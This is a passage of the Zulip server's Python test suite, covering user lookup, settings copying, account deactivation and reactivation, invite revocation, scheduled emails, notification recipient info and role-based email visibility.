self.assertEqual(user_ids_to_users([], get_realm("zulip")), []) self.assertEqual( { user_profile.id for user_profile in user_ids_to_users(real_user_ids, get_realm("zulip")) }, set(real_user_ids), ) with self.assertRaises(JsonableError): user_ids_to_users([1234], get_realm("zephyr")) with self.assertRaises(JsonableError): user_ids_to_users(real_user_ids, get_realm("zephyr")) def test_bulk_get_users(self) -> None: from zerver.lib.users import bulk_get_users hamlet = self.example_user("hamlet") cordelia = self.example_user("cordelia") webhook_bot = self.example_user("webhook_bot") result = bulk_get_users( [hamlet.email, cordelia.email], get_realm("zulip"), ) self.assertEqual(result[hamlet.email].email, hamlet.email) self.assertEqual(result[cordelia.email].email, cordelia.email) result = bulk_get_users( [hamlet.email, cordelia.email, webhook_bot.email], None, base_query=UserProfile.objects.all(), ) self.assertEqual(result[hamlet.email].email, hamlet.email) self.assertEqual(result[cordelia.email].email, cordelia.email) self.assertEqual(result[webhook_bot.email].email, webhook_bot.email) def test_get_accounts_for_email(self) -> None: reset_emails_in_zulip_realm() def check_account_present_in_accounts(user: UserProfile, accounts: List[Accounts]) -> None: for account in accounts: realm = user.realm if ( account["avatar"] == avatar_url(user) and account["full_name"] == user.full_name and account["realm_name"] == realm.name and account["realm_id"] == realm.id ): return raise AssertionError("Account not found") lear_realm = get_realm("lear") cordelia_in_zulip = self.example_user("cordelia") cordelia_in_lear = get_user_by_delivery_email("cordelia@zulip.com", lear_realm) email = "cordelia@zulip.com" accounts = get_accounts_for_email(email) self.assert_length(accounts, 2) check_account_present_in_accounts(cordelia_in_zulip, accounts) check_account_present_in_accounts(cordelia_in_lear, accounts) email = "CORDelia@zulip.com" accounts = get_accounts_for_email(email) self.assert_length(accounts, 2) check_account_present_in_accounts(cordelia_in_zulip, accounts) check_account_present_in_accounts(cordelia_in_lear, accounts) email = "IAGO@ZULIP.COM" accounts = get_accounts_for_email(email) self.assert_length(accounts, 1) check_account_present_in_accounts(self.example_user("iago"), accounts) # We verify that get_accounts_for_email don't return deactivated users accounts user = self.example_user("hamlet") do_deactivate_user(user, acting_user=None) email = self.example_email("hamlet") accounts = get_accounts_for_email(email) with self.assertRaises(AssertionError): check_account_present_in_accounts(user, accounts) def test_get_source_profile(self) -> None: reset_emails_in_zulip_realm() zulip_realm_id = get_realm("zulip").id iago = get_source_profile("iago@zulip.com", zulip_realm_id) assert iago is not None self.assertEqual(iago.email, "iago@zulip.com") self.assertEqual(iago.realm, get_realm("zulip")) iago = get_source_profile("IAGO@ZULIP.com", zulip_realm_id) assert iago is not None self.assertEqual(iago.email, "iago@zulip.com") lear_realm_id = get_realm("lear").id cordelia = get_source_profile("cordelia@zulip.com", lear_realm_id) assert cordelia is not None self.assertEqual(cordelia.email, "cordelia@zulip.com") self.assertIsNone(get_source_profile("iagod@zulip.com", zulip_realm_id)) self.assertIsNone(get_source_profile("iago@zulip.com", 0)) self.assertIsNone(get_source_profile("iago@zulip.com", lear_realm_id)) def test_copy_default_settings_from_another_user(self) -> None: iago = self.example_user("iago") cordelia = self.example_user("cordelia") hamlet = self.example_user("hamlet") hamlet.color_scheme = UserProfile.COLOR_SCHEME_LIGHT cordelia.default_language = "de" cordelia.default_view = "all_messages" cordelia.emojiset = "twitter" cordelia.timezone = "America/Phoenix" cordelia.color_scheme = UserProfile.COLOR_SCHEME_NIGHT cordelia.enable_offline_email_notifications = False cordelia.enable_stream_push_notifications = True cordelia.enter_sends = False cordelia.avatar_source = UserProfile.AVATAR_FROM_USER cordelia.save() # Upload cordelia's avatar with get_test_image_file("img.png") as image_file: upload_avatar_image(image_file, cordelia, cordelia) UserHotspot.objects.filter(user=cordelia).delete() UserHotspot.objects.filter(user=iago).delete() hotspots_completed = {"intro_streams", "intro_topics"} for hotspot in hotspots_completed: UserHotspot.objects.create(user=cordelia, hotspot=hotspot) # Check that we didn't send an realm_user update events to # users; this work is happening before the user account is # created, so any changes will be reflected in the "add" event # introducing the user to clients. events: List[Mapping[str, Any]] = [] with self.tornado_redirected_to_list(events, expected_num_events=0): copy_default_settings(cordelia, iago) # We verify that cordelia and iago match, but hamlet has the defaults. self.assertEqual(iago.full_name, "Cordelia, Lear's daughter") self.assertEqual(cordelia.full_name, "Cordelia, Lear's daughter") self.assertEqual(hamlet.full_name, "King Hamlet") self.assertEqual(iago.default_language, "de") self.assertEqual(cordelia.default_language, "de") self.assertEqual(hamlet.default_language, "en") self.assertEqual(iago.emojiset, "twitter") self.assertEqual(cordelia.emojiset, "twitter") self.assertEqual(hamlet.emojiset, "google") self.assertEqual(iago.timezone, "America/Phoenix") self.assertEqual(cordelia.timezone, "America/Phoenix") self.assertEqual(hamlet.timezone, "") self.assertEqual(iago.color_scheme, UserProfile.COLOR_SCHEME_NIGHT) self.assertEqual(cordelia.color_scheme, UserProfile.COLOR_SCHEME_NIGHT) self.assertEqual(hamlet.color_scheme, UserProfile.COLOR_SCHEME_LIGHT) self.assertEqual(iago.enable_offline_email_notifications, False) self.assertEqual(cordelia.enable_offline_email_notifications, False) self.assertEqual(hamlet.enable_offline_email_notifications, True) self.assertEqual(iago.enable_stream_push_notifications, True) self.assertEqual(cordelia.enable_stream_push_notifications, True) self.assertEqual(hamlet.enable_stream_push_notifications, False) self.assertEqual(iago.enter_sends, False) self.assertEqual(cordelia.enter_sends, False) self.assertEqual(hamlet.enter_sends, True) hotspots = set(UserHotspot.objects.filter(user=iago).values_list("hotspot", flat=True)) self.assertEqual(hotspots, hotspots_completed) def test_copy_default_settings_from_realm_user_default(self) -> None: cordelia = self.example_user("cordelia") realm = get_realm("zulip") realm_user_default = RealmUserDefault.objects.get(realm=realm) realm_user_default.default_view = "recent_topics" realm_user_default.emojiset = "twitter" realm_user_default.color_scheme = UserProfile.COLOR_SCHEME_LIGHT realm_user_default.enable_offline_email_notifications = False realm_user_default.enable_stream_push_notifications = True realm_user_default.enter_sends = True realm_user_default.save() # Check that we didn't send an realm_user update events to # users; this work is happening before the user account is # created, so any changes will be reflected in the "add" event # introducing the user to clients. events: List[Mapping[str, Any]] = [] with self.tornado_redirected_to_list(events, expected_num_events=0): copy_default_settings(realm_user_default, cordelia) self.assertEqual(cordelia.default_view, "recent_topics") self.assertEqual(cordelia.emojiset, "twitter") self.assertEqual(cordelia.color_scheme, UserProfile.COLOR_SCHEME_LIGHT) self.assertEqual(cordelia.enable_offline_email_notifications, False) self.assertEqual(cordelia.enable_stream_push_notifications, True) self.assertEqual(cordelia.enter_sends, True) def test_get_user_by_id_in_realm_including_cross_realm(self) -> None: realm = get_realm("zulip") internal_realm = get_realm(settings.SYSTEM_BOT_REALM) hamlet = self.example_user("hamlet") othello = self.example_user("othello") bot = get_system_bot(settings.WELCOME_BOT, internal_realm.id) # Pass in the ID of a cross-realm bot and a valid realm cross_realm_bot = get_user_by_id_in_realm_including_cross_realm(bot.id, realm) self.assertEqual(cross_realm_bot.email, bot.email) self.assertEqual(cross_realm_bot.id, bot.id) # Pass in the ID of a cross-realm bot but with a invalid realm, # note that the realm should be irrelevant here cross_realm_bot = get_user_by_id_in_realm_including_cross_realm(bot.id, None) self.assertEqual(cross_realm_bot.email, bot.email) self.assertEqual(cross_realm_bot.id, bot.id) # Pass in the ID of a non-cross-realm user with a realm user_profile = get_user_by_id_in_realm_including_cross_realm(othello.id, realm) self.assertEqual(user_profile.email, othello.email) self.assertEqual(user_profile.id, othello.id) # If the realm doesn't match, or if the ID is not that of a # cross-realm bot, UserProfile.DoesNotExist is raised with self.assertRaises(UserProfile.DoesNotExist): get_user_by_id_in_realm_including_cross_realm(hamlet.id, None) def test_get_user_subscription_status(self) -> None: self.login("hamlet") iago = self.example_user("iago") stream = get_stream("Rome", iago.realm) # Invalid user ID. result = self.client_get(f"/json/users/25/subscriptions/{stream.id}") self.assert_json_error(result, "No such user") # Invalid stream ID. result = self.client_get(f"/json/users/{iago.id}/subscriptions/25") self.assert_json_error(result, "Invalid stream id") result = orjson.loads( self.client_get(f"/json/users/{iago.id}/subscriptions/{stream.id}").content ) self.assertFalse(result["is_subscribed"]) # Subscribe to the stream. self.subscribe(iago, stream.name) with queries_captured() as queries: result = orjson.loads( self.client_get(f"/json/users/{iago.id}/subscriptions/{stream.id}").content ) self.assert_length(queries, 6) self.assertTrue(result["is_subscribed"]) # Logging in with a Guest user. polonius = self.example_user("polonius") self.login("polonius") self.assertTrue(polonius.is_guest) self.assertTrue(stream.is_web_public) result = orjson.loads( self.client_get(f"/json/users/{iago.id}/subscriptions/{stream.id}").content ) self.assertTrue(result["is_subscribed"]) self.login("iago") stream = self.make_stream("private_stream", invite_only=True) # Unsubscribed admin can check subscription status in a private stream. result = orjson.loads( self.client_get(f"/json/users/{iago.id}/subscriptions/{stream.id}").content ) self.assertFalse(result["is_subscribed"]) # Unsubscribed non-admins cannot check subscription status in a private stream. self.login("shiva") result = self.client_get(f"/json/users/{iago.id}/subscriptions/{stream.id}") self.assert_json_error(result, "Invalid stream id") # Subscribed non-admins can check subscription status in a private stream self.subscribe(self.example_user("shiva"), stream.name) result = orjson.loads( self.client_get(f"/json/users/{iago.id}/subscriptions/{stream.id}").content ) self.assertFalse(result["is_subscribed"]) class ActivateTest(ZulipTestCase): def test_basics(self) -> None: user = self.example_user("hamlet") do_deactivate_user(user, acting_user=None) self.assertFalse(user.is_active) do_reactivate_user(user, acting_user=None) self.assertTrue(user.is_active) def test_subscriptions_is_user_active(self) -> None: user = self.example_user("hamlet") do_deactivate_user(user, acting_user=None) self.assertFalse(user.is_active) self.assertTrue(Subscription.objects.filter(user_profile=user).exists()) self.assertFalse( Subscription.objects.filter(user_profile=user, is_user_active=True).exists() ) do_reactivate_user(user, acting_user=None) self.assertTrue(user.is_active) self.assertTrue(Subscription.objects.filter(user_profile=user).exists()) self.assertFalse( Subscription.objects.filter(user_profile=user, is_user_active=False).exists() ) def test_api(self) -> None: admin = self.example_user("othello") do_change_user_role(admin, UserProfile.ROLE_REALM_ADMINISTRATOR, acting_user=None) self.login("othello") user = self.example_user("hamlet") self.assertTrue(user.is_active) result = self.client_delete(f"/json/users/{user.id}") self.assert_json_success(result) user = self.example_user("hamlet") self.assertFalse(user.is_active) result = self.client_post(f"/json/users/{user.id}/reactivate") self.assert_json_success(result) user = self.example_user("hamlet") self.assertTrue(user.is_active) def test_api_with_nonexistent_user(self) -> None: self.login("iago") # Organization administrator cannot deactivate organization owner. result = self.client_delete(f'/json/users/{self.example_user('desdemona').id}') self.assert_json_error(result, "Must be an organization owner") iago = self.example_user("iago") desdemona = self.example_user("desdemona") do_change_user_role(iago, UserProfile.ROLE_REALM_OWNER, acting_user=None) # Cannot deactivate a user with the bot api result = self.client_delete("/json/bots/{}".format(self.example_user("hamlet").id)) self.assert_json_error(result, "No such bot") # Cannot deactivate a nonexistent user. invalid_user_id = 1000 result = self.client_delete(f"/json/users/{invalid_user_id}") self.assert_json_error(result, "No such user") result = self.client_delete("/json/users/{}".format(self.example_user("webhook_bot").id)) self.assert_json_error(result, "No such user") result = self.client_delete(f"/json/users/{desdemona.id}") self.assert_json_success(result) result = self.client_delete(f"/json/users/{iago.id}") self.assert_json_error(result, "Cannot deactivate the only organization owner") # Cannot reactivate a nonexistent user. invalid_user_id = 1000 result = self.client_post(f"/json/users/{invalid_user_id}/reactivate") self.assert_json_error(result, "No such user") def test_api_with_insufficient_permissions(self) -> None: non_admin = self.example_user("othello") do_change_user_role(non_admin, UserProfile.ROLE_MEMBER, acting_user=None) self.login("othello") # Cannot deactivate a user with the users api result = self.client_delete("/json/users/{}".format(self.example_user("hamlet").id)) self.assert_json_error(result, "Insufficient permission") # Cannot reactivate a user result = self.client_post( "/json/users/{}/reactivate".format(self.example_user("hamlet").id) ) self.assert_json_error(result, "Insufficient permission") def test_revoke_invites(self) -> None: """ Verify that any invitations generated by the user get revoked when the user is deactivated """ iago = self.example_user("iago") desdemona = self.example_user("desdemona") invite_expires_in_days = 2 do_invite_users( iago, ["new1@zulip.com", "new2@zulip.com"], [], invite_expires_in_days=invite_expires_in_days, invite_as=PreregistrationUser.INVITE_AS["REALM_ADMIN"], ) do_invite_users( desdemona, ["new3@zulip.com", "new4@zulip.com"], [], invite_expires_in_days=invite_expires_in_days, invite_as=PreregistrationUser.INVITE_AS["REALM_ADMIN"], ) do_invite_users( iago, ["new5@zulip.com"], [], invite_expires_in_days=None, invite_as=PreregistrationUser.INVITE_AS["REALM_ADMIN"], ) do_invite_users( desdemona, ["new6@zulip.com"], [], invite_expires_in_days=None, invite_as=PreregistrationUser.INVITE_AS["REALM_ADMIN"], ) iago_multiuse_key = do_create_multiuse_invite_link( iago, PreregistrationUser.INVITE_AS["MEMBER"], invite_expires_in_days ).split("/")[-2] desdemona_multiuse_key = do_create_multiuse_invite_link( desdemona, PreregistrationUser.INVITE_AS["MEMBER"], invite_expires_in_days ).split("/")[-2] iago_never_expire_multiuse_key = do_create_multiuse_invite_link( iago, PreregistrationUser.INVITE_AS["MEMBER"], None ).split("/")[-2] desdemona_never_expire_multiuse_key = do_create_multiuse_invite_link( desdemona, PreregistrationUser.INVITE_AS["MEMBER"], None ).split("/")[-2] self.assertEqual( filter_to_valid_prereg_users( PreregistrationUser.objects.filter(referred_by=iago) ).count(), 3, ) self.assertEqual( filter_to_valid_prereg_users( PreregistrationUser.objects.filter(referred_by=desdemona) ).count(), 3, ) self.assertTrue( Confirmation.objects.get(confirmation_key=iago_multiuse_key).expiry_date > timezone_now() ) self.assertTrue( Confirmation.objects.get(confirmation_key=desdemona_multiuse_key).expiry_date > timezone_now() ) self.assertIsNone( Confirmation.objects.get(confirmation_key=iago_never_expire_multiuse_key).expiry_date ) self.assertIsNone( Confirmation.objects.get( confirmation_key=desdemona_never_expire_multiuse_key ).expiry_date ) do_deactivate_user(iago, acting_user=None) # Now we verify that invitations generated by iago were revoked, while desdemona's # remain valid. self.assertEqual( filter_to_valid_prereg_users( PreregistrationUser.objects.filter(referred_by=iago) ).count(), 0, ) self.assertEqual( filter_to_valid_prereg_users( PreregistrationUser.objects.filter(referred_by=desdemona) ).count(), 3, ) self.assertTrue( Confirmation.objects.get(confirmation_key=iago_multiuse_key).expiry_date <= timezone_now() ) self.assertTrue( Confirmation.objects.get(confirmation_key=desdemona_multiuse_key).expiry_date > timezone_now() ) self.assertTrue( Confirmation.objects.get(confirmation_key=iago_never_expire_multiuse_key).expiry_date <= timezone_now() ) self.assertIsNone( Confirmation.objects.get( confirmation_key=desdemona_never_expire_multiuse_key ).expiry_date ) def test_clear_sessions(self) -> None: user = self.example_user("hamlet") self.login_user(user) session_key = self.client.session.session_key self.assertTrue(session_key) result = self.client_get("/json/users") self.assert_json_success(result) self.assertEqual(Session.objects.filter(pk=session_key).count(), 1) do_deactivate_user(user, acting_user=None) self.assertEqual(Session.objects.filter(pk=session_key).count(), 0) result = self.client_get("/json/users") self.assert_json_error( result, "Not logged in: API authentication or user session required", 401 ) def test_clear_scheduled_jobs(self) -> None: user = self.example_user("hamlet") send_future_email( "zerver/emails/followup_day1", user.realm, to_user_ids=[user.id], delay=datetime.timedelta(hours=1), ) self.assertEqual(ScheduledEmail.objects.count(), 1) do_deactivate_user(user, acting_user=None) self.assertEqual(ScheduledEmail.objects.count(), 0) def test_send_future_email_with_multiple_recipients(self) -> None: hamlet = self.example_user("hamlet") iago = self.example_user("iago") send_future_email( "zerver/emails/followup_day1", iago.realm, to_user_ids=[hamlet.id, iago.id], delay=datetime.timedelta(hours=1), ) self.assertEqual( ScheduledEmail.objects.filter(users__in=[hamlet, iago]).distinct().count(), 1 ) email = ScheduledEmail.objects.all().first() assert email is not None and email.users is not None self.assertEqual(email.users.count(), 2) def test_clear_schedule_emails(self) -> None: hamlet = self.example_user("hamlet") iago = self.example_user("iago") send_future_email( "zerver/emails/followup_day1", iago.realm, to_user_ids=[hamlet.id, iago.id], delay=datetime.timedelta(hours=1), ) self.assertEqual(ScheduledEmail.objects.count(), 1) clear_scheduled_emails(hamlet.id) self.assertEqual(ScheduledEmail.objects.count(), 1) self.assertEqual(ScheduledEmail.objects.filter(users=hamlet).count(), 0) self.assertEqual(ScheduledEmail.objects.filter(users=iago).count(), 1) def test_deliver_scheduled_emails(self) -> None: iago = self.example_user("iago") hamlet = self.example_user("hamlet") send_future_email( "zerver/emails/followup_day1", iago.realm, to_user_ids=[hamlet.id, iago.id], delay=datetime.timedelta(hours=1), ) self.assertEqual(ScheduledEmail.objects.count(), 1) email = ScheduledEmail.objects.all().first() deliver_scheduled_emails(assert_is_not_none(email)) from django.core.mail import outbox self.assert_length(outbox, 1) for message in outbox: self.assertEqual( set(message.to), { str(Address(display_name=hamlet.full_name, addr_spec=hamlet.delivery_email)), str(Address(display_name=iago.full_name, addr_spec=iago.delivery_email)), }, ) self.assertEqual(ScheduledEmail.objects.count(), 0) def test_deliver_scheduled_emails_no_addressees(self) -> None: iago = self.example_user("iago") hamlet = self.example_user("hamlet") to_user_ids = [hamlet.id, iago.id] send_future_email( "zerver/emails/followup_day1", iago.realm, to_user_ids=to_user_ids, delay=datetime.timedelta(hours=1), ) self.assertEqual(ScheduledEmail.objects.count(), 1) email = ScheduledEmail.objects.all().first() assert email is not None email.users.remove(*to_user_ids) with self.assertLogs("zulip.send_email", level="INFO") as info_log: deliver_scheduled_emails(email) from django.core.mail import outbox self.assert_length(outbox, 0) self.assertEqual(ScheduledEmail.objects.count(), 1) self.assertEqual( info_log.output, [ f"ERROR:zulip.send_email:ScheduledEmail id {email.id} has empty users and address attributes." ], ) class RecipientInfoTest(ZulipTestCase): def test_stream_recipient_info(self) -> None: hamlet = self.example_user("hamlet") cordelia = self.example_user("cordelia") othello = self.example_user("othello") # These tests were written with the old default for # enable_online_push_notifications; that default is better for # testing the full code path anyway. hamlet.enable_online_push_notifications = False cordelia.enable_online_push_notifications = False othello.enable_online_push_notifications = False hamlet.save() cordelia.save() othello.save() realm = hamlet.realm stream_name = "Test stream" topic_name = "test topic" for user in [hamlet, cordelia, othello]: self.subscribe(user, stream_name) stream = get_stream(stream_name, realm) recipient = stream.recipient assert recipient is not None stream_topic = StreamTopicTarget( stream_id=stream.id, topic_name=topic_name, ) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=False, ) all_user_ids = {hamlet.id, cordelia.id, othello.id} expected_info = dict( active_user_ids=all_user_ids, online_push_user_ids=set(), pm_mention_email_disabled_user_ids=set(), pm_mention_push_disabled_user_ids=set(), stream_push_user_ids=set(), stream_email_user_ids=set(), wildcard_mention_user_ids=set(), muted_sender_user_ids=set(), um_eligible_user_ids=all_user_ids, long_term_idle_user_ids=set(), default_bot_user_ids=set(), service_bot_tuples=[], all_bot_user_ids=set(), ) self.assertEqual(info, expected_info) hamlet.enable_offline_email_notifications = False hamlet.enable_offline_push_notifications = False hamlet.save() info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=False, ) self.assertEqual(info["pm_mention_email_disabled_user_ids"], {hamlet.id}) self.assertEqual(info["pm_mention_push_disabled_user_ids"], {hamlet.id}) hamlet.enable_offline_email_notifications = True hamlet.enable_offline_push_notifications = True hamlet.save() cordelia.wildcard_mentions_notify = False cordelia.save() hamlet.enable_stream_push_notifications = True hamlet.save() info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=False, ) self.assertEqual(info["stream_push_user_ids"], {hamlet.id}) self.assertEqual(info["wildcard_mention_user_ids"], set()) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=True, ) self.assertEqual(info["wildcard_mention_user_ids"], {hamlet.id, othello.id}) sub = get_subscription(stream_name, hamlet) sub.push_notifications = False sub.save() info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, ) self.assertEqual(info["stream_push_user_ids"], set()) hamlet.enable_stream_push_notifications = False hamlet.save() sub = get_subscription(stream_name, hamlet) sub.push_notifications = True sub.save() info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, ) self.assertEqual(info["stream_push_user_ids"], {hamlet.id}) # Now have Hamlet mute the topic to omit him from stream_push_user_ids. add_topic_mute( user_profile=hamlet, stream_id=stream.id, recipient_id=recipient.id, topic_name=topic_name, ) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=False, ) self.assertEqual(info["stream_push_user_ids"], set()) self.assertEqual(info["wildcard_mention_user_ids"], set()) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=True, ) self.assertEqual(info["stream_push_user_ids"], set()) # Since Hamlet has muted the stream and Cordelia has disabled # wildcard notifications, it should just be Othello here. self.assertEqual(info["wildcard_mention_user_ids"], {othello.id}) # If Hamlet mutes Cordelia, he should be in `muted_sender_user_ids` for a message # sent by Cordelia. do_mute_user(hamlet, cordelia) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=cordelia.id, stream_topic=stream_topic, possible_wildcard_mention=True, ) self.assertTrue(hamlet.id in info["muted_sender_user_ids"]) sub = get_subscription(stream_name, othello) sub.wildcard_mentions_notify = False sub.save() info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=True, ) self.assertEqual(info["stream_push_user_ids"], set()) # Verify that stream-level wildcard_mentions_notify=False works correctly. self.assertEqual(info["wildcard_mention_user_ids"], set()) # Verify that True works as expected as well sub = get_subscription(stream_name, othello) sub.wildcard_mentions_notify = True sub.save() info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=True, ) self.assertEqual(info["stream_push_user_ids"], set()) self.assertEqual(info["wildcard_mention_user_ids"], {othello.id}) # Add a service bot. service_bot = do_create_user( email="service-bot@zulip.com", password="", realm=realm, full_name="", bot_type=UserProfile.EMBEDDED_BOT, acting_user=None, ) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possibly_mentioned_user_ids={service_bot.id}, ) self.assertEqual( info["service_bot_tuples"], [ (service_bot.id, UserProfile.EMBEDDED_BOT), ], ) # Add a normal bot. normal_bot = do_create_user( email="normal-bot@zulip.com", password="", realm=realm, full_name="", bot_type=UserProfile.DEFAULT_BOT, acting_user=None, ) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possibly_mentioned_user_ids={service_bot.id, normal_bot.id}, ) self.assertEqual(info["default_bot_user_ids"], {normal_bot.id}) self.assertEqual(info["all_bot_user_ids"], {normal_bot.id, service_bot.id}) def test_get_recipient_info_invalid_recipient_type(self) -> None: hamlet = self.example_user("hamlet") realm = hamlet.realm stream = get_stream("Rome", realm) stream_topic = StreamTopicTarget( stream_id=stream.id, topic_name="test topic", ) # Make sure get_recipient_info asserts on invalid recipient types with self.assertRaisesRegex(ValueError, "Bad recipient type"): invalid_recipient = Recipient(type=999) # 999 is not a valid type get_recipient_info( realm_id=realm.id, recipient=invalid_recipient, sender_id=hamlet.id, stream_topic=stream_topic, ) class BulkUsersTest(ZulipTestCase): def test_client_gravatar_option(self) -> None: reset_emails_in_zulip_realm() self.login("cordelia") hamlet = self.example_user("hamlet") def get_hamlet_avatar(client_gravatar: bool) -> Optional[str]: data = dict(client_gravatar=orjson.dumps(client_gravatar).decode()) result = self.client_get("/json/users", data) self.assert_json_success(result) rows = result.json()["members"] hamlet_data = [row for row in rows if row["user_id"] == hamlet.id][0] return hamlet_data["avatar_url"] self.assertEqual( get_hamlet_avatar(client_gravatar=True), None, ) """ The main purpose of this test is to make sure we return None for avatar_url when client_gravatar is set to True. And we do a sanity check for when it's False, but we leave it to other tests to validate the specific URL. """ self.assertIn( "gravatar.com", assert_is_not_none(get_hamlet_avatar(client_gravatar=False)), ) class GetProfileTest(ZulipTestCase): def test_cache_behavior(self) -> None: """Tests whether fetching a user object the normal way, with `get_user`, makes 1 cache query and 1 database query. """ realm = get_realm("zulip") email = self.example_user("hamlet").email with queries_captured() as queries: with simulated_empty_cache() as cache_queries: user_profile = get_user(email, realm) self.assert_length(queries, 1) self.assert_length(cache_queries, 1) self.assertEqual(user_profile.email, email) def test_get_user_profile(self) -> None: hamlet = self.example_user("hamlet") iago = self.example_user("iago") desdemona = self.example_user("desdemona") shiva = self.example_user("shiva") self.login("hamlet") result = orjson.loads(self.client_get("/json/users/me").content) self.assertEqual(result["email"], hamlet.email) self.assertEqual(result["full_name"], "King Hamlet") self.assertIn("user_id", result) self.assertFalse(result["is_bot"]) self.assertFalse(result["is_admin"]) self.assertFalse(result["is_owner"]) self.assertFalse(result["is_guest"]) self.assertEqual(result["role"], UserProfile.ROLE_MEMBER) self.assertFalse("delivery_email" in result) self.login("iago") result = orjson.loads(self.client_get("/json/users/me").content) self.assertEqual(result["email"], iago.email) self.assertEqual(result["full_name"], "Iago") self.assertFalse(result["is_bot"]) self.assertTrue(result["is_admin"]) self.assertFalse(result["is_owner"]) self.assertFalse(result["is_guest"]) self.assertEqual(result["role"], UserProfile.ROLE_REALM_ADMINISTRATOR) self.login("desdemona") result = orjson.loads(self.client_get("/json/users/me").content) self.assertEqual(result["email"], desdemona.email) self.assertFalse(result["is_bot"]) self.assertTrue(result["is_admin"]) self.assertTrue(result["is_owner"]) self.assertFalse(result["is_guest"]) self.assertEqual(result["role"], UserProfile.ROLE_REALM_OWNER) self.login("shiva") result = orjson.loads(self.client_get("/json/users/me").content) self.assertEqual(result["email"], shiva.email) self.assertFalse(result["is_bot"]) self.assertFalse(result["is_admin"]) self.assertFalse(result["is_owner"]) self.assertFalse(result["is_guest"]) self.assertEqual(result["role"], UserProfile.ROLE_MODERATOR) # Tests the GET ../users/{id} API endpoint. user = self.example_user("hamlet") result = orjson.loads(self.client_get(f"/json/users/{user.id}").content) self.assertEqual(result["user"]["email"], user.email) self.assertEqual(result["user"]["full_name"], user.full_name) self.assertIn("user_id", result["user"]) self.assertNotIn("profile_data", result["user"]) self.assertFalse(result["user"]["is_bot"]) self.assertFalse(result["user"]["is_admin"]) self.assertFalse(result["user"]["is_owner"]) result = orjson.loads( self.client_get( f"/json/users/{user.id}", {"include_custom_profile_fields": "true"} ).content ) self.assertIn("profile_data", result["user"]) result = self.client_get("/json/users/30") self.assert_json_error(result, "No such user") bot = self.example_user("default_bot") result = orjson.loads(self.client_get(f"/json/users/{bot.id}").content) self.assertEqual(result["user"]["email"], bot.email) self.assertTrue(result["user"]["is_bot"]) def test_get_user_by_email(self) -> None: user = self.example_user("hamlet") self.login("hamlet") result = orjson.loads(self.client_get(f"/json/users/{user.email}").content) self.assertEqual(result["user"]["email"], user.email) self.assertEqual(result["user"]["full_name"], user.full_name) self.assertIn("user_id", result["user"]) self.assertNotIn("profile_data", result["user"]) self.assertFalse(result["user"]["is_bot"]) self.assertFalse(result["user"]["is_admin"]) self.assertFalse(result["user"]["is_owner"]) result = orjson.loads( self.client_get( f"/json/users/{user.email}", {"include_custom_profile_fields": "true"} ).content ) self.assertIn("profile_data", result["user"]) result = self.client_get("/json/users/invalid") self.assert_json_error(result, "No such user") bot = self.example_user("default_bot") result = orjson.loads(self.client_get(f"/json/users/{bot.email}").content) self.assertEqual(result["user"]["email"], bot.email) self.assertTrue(result["user"]["is_bot"]) def test_get_all_profiles_avatar_urls(self) -> None: hamlet = self.example_user("hamlet") result = self.api_get(hamlet, "/api/v1/users") self.assert_json_success(result) (my_user,) = (user for user in result.json()["members"] if user["email"] == hamlet.email) self.assertEqual( my_user["avatar_url"], avatar_url(hamlet), ) def test_user_email_according_to_email_address_visibility_setting(self) -> None: hamlet = self.example_user("hamlet") realm = hamlet.realm do_set_realm_property( realm, "email_address_visibility", Realm.EMAIL_ADDRESS_VISIBILITY_NOBODY, acting_user=None, ) # Check that even admin cannot access email when setting is set to # EMAIL_ADDRESS_VISIBILITY_NOBODY. self.login("iago") result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), None) self.assertEqual(result["user"].get("email"), f"user{hamlet.id}@zulip.testserver") do_set_realm_property( realm, "email_address_visibility", Realm.EMAIL_ADDRESS_VISIBILITY_ADMINS, acting_user=None, ) # Check that admin can access email when setting is set to # EMAIL_ADDRESS_VISIBILITY_ADMINS. result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), hamlet.delivery_email) self.assertEqual(result["user"].get("email"), f"user{hamlet.id}@zulip.testserver") # Check that moderator cannot access email when setting is set to # EMAIL_ADDRESS_VISIBILITY_ADMINS. self.login("shiva") result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), None) self.assertEqual(result["user"].get("email"), f"user{hamlet.id}@zulip.testserver") do_set_realm_property( realm, "email_address_visibility", Realm.EMAIL_ADDRESS_VISIBILITY_MODERATORS, acting_user=None, ) # Check that moderator can access email when setting is set to # EMAIL_ADDRESS_VISIBILITY_MODERATORS. result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), hamlet.delivery_email) self.assertEqual(result["user"].get("email"), f"user{hamlet.id}@zulip.testserver") # Check that normal user cannot access email when setting is set to # EMAIL_ADDRESS_VISIBILITY_MODERATORS. self.login("cordelia") result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), None) self.assertEqual(result["user"].get("email"), f"user{hamlet.id}@zulip.testserver") do_set_realm_property( 